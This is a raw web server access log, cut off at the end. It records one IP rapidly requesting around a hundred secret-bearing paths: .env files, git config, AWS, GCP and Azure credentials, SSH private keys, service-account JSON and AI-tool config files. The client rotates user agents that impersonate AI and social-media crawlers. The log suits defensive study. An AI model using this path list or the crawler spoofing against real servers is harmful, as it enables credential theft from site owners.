[10/Sep/2026:03:49:36 -0700] "GET /v2/.env HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.1532.225 Mobile Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:149.13) Gecko/20100101 Firefox/149.13; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.local HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.production HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Version/17.5 Safari/605.1.15" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.development HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.staging HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.bak HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.4471.0 Safari/537.36 Edg/120.0.4471.0; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.old HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.888.172 Mobile Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.backup HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/134.0.5066.206 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:36 -0700] "GET /.env.example HTTP/1.1" 200 12085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; LinkedInBot/1.0; +http://www.linkedin.com" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.env.swp HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Version/19.2 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /env.js HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.1876.49 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /env.json HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /app/.env HTTP/1.1" 200 12084 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /admin/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.13) Gecko/20100101 Firefox/150.13; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /backend/.env HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Google-Extended/1.0; +http://www.google.com/bot.html) Chrome/85.0.4330.176 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /config/.env HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /laravel/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /docker/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/91.0.8251.168 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /core/.env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /src/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.11) Gecko/20100101 Firefox/128.11; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /server/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /frontend/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.3098.26 Mobile Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /public/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/122.0.4690.189 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.git/config HTTP/1.1" 200 12093 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /web/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.git/HEAD HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.git-credentials HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.github/.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; TelegramBot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.aws/credentials HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.aws/config HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot) Chrome/122.0.5373.158 Safari/537.36 Edg/122.0.5373.158" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /root/.aws/credentials HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /aws.env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /root/.aws/config HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.gcloud/credentials.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.7605.145 Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.azure/credentials HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1) Chrome/85.0.3237.198 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.docker/config.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/130.0.2034.1 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.gcloud/credentials HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.kube/config HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/124.0.3884.241 Safari/537.36 Edg/124.0.3884.241" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /aws_credentials HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5126.109 Mobile Safari/537.36; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /aws.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5096.229 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /aws-credentials HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /secrets.json HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot) Chrome/151.0.7557.248 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /credentials.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; TelegramBot/1.0) Version/19.6 Mobile/15E148 Safari/604.1" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /config.json HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.3764.206 Mobile Safari/537.36; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /settings.json HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.2662.169 Mobile Safari/537.36; compatible; Discordbot/2.0; +https://discordapp.com" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /config.js HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.401.0 Safari/537.36; compatible; WhatsApp/10.0.2.1" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /app-config.json HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /runtime-config.js HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/136.0.2973.213 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/config HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/settings HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/env HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/v1/config HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/134.0.2743.50 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/v1/env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6030.155 Safari/537.36; compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /api/v1/settings HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /serviceAccountKey.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.8948.127 Mobile Safari/537.36; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /service-account.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.4476.52 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /firebase-adminsdk.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /firebase-config.json HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /firebase-credentials.json HTTP/1.1" 200 12100 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.2) Gecko/20100101 Firefox/128.2; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /__/firebase/init.json HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.3209.203 Safari/537.36; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /gcp-credentials.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /google-credentials.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.1998.88 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /gcp-key.json HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0) Chrome/133.0.5721.231 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /key.json HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:143.9) Gecko/20100101 Firefox/143.9; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /sa.json HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.ssh/id_rsa HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.ssh/id_ed25519 HTTP/1.1" 200 12088 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.ssh/id_ecdsa HTTP/1.1" 200 12098 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.ssh/config HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/91.0.1945.194 Safari/537.36 Edg/91.0.1945.194" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /id_ed25519 HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; rv:143.12) Gecko/20100101 Firefox/143.12; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /id_ecdsa HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; LinkedInBot/1.0; +http://www.linkedin.com) Chrome/109.0.4172.16 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /id_dsa HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1) Chrome/151.0.5850.214 Safari/537.36 Edg/151.0.5850.214" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /key.pem HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.7506.210 Mobile Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /server.key HTTP/1.1" 200 12090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /privatekey.key HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.17) Gecko/20100101 Firefox/149.17; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /private-key HTTP/1.1" 200 12084 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /wp-config.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /wp-config.php.bak HTTP/1.1" 200 12101 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /keys/service-account.json HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler)" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /.ssh/id_dsa HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/122.0.5591.100 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:37 -0700] "GET /id_rsa HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Mobile/15E148 Safari/604.1; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /config.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /config/database.yml HTTP/1.1" 200 12097 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /config/secrets.yml HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /wp-config.php.old HTTP/1.1" 200 12091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Google-Extended/1.0; +http://www.google.com/bot.html" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /application.yml HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /docker-compose.yaml HTTP/1.1" 200 12095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /config.php.bak HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot) Chrome/148.0.5880.227 Safari/537.36 Edg/148.0.5880.227" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /docker-compose.yml HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6147.30 Mobile Safari/537.36; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /actuator/env HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Chrome/120.0.6886.51 Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /graphql HTTP/1.1" 200 12086 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /v1/graphql HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot) Chrome/109.0.380.118 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /actuator/mappings HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; rv:132.8) Gecko/20100101 Firefox/132.8; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /graphql/console HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /api/graphql HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.codex/config.toml HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (compatible; LinkedInBot/1.0; +http://www.linkedin.com)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /actuator/configprops HTTP/1.1" 200 12096 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.anthropic/config.json HTTP/1.1" 200 12099 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.4305.147 Mobile Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.openai/config.json HTTP/1.1" 200 12097 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.1889.242 Safari/537.36; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.cursor/mcp.json HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.5497.49 Safari/537.36; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.hermes/.env HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Chrome/109.0.6007.37 Safari/537.36 Edg/109.0.6007.37" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.hermes/auth.json HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/118.0.1675.40 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.hermes/config.yaml HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.config/anthropic/credentials/default.json HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.5029.234 Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.74.70.246 - - [10/Sep/2026:03:49:38 -0700] "GET /.openclaw/.env HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) 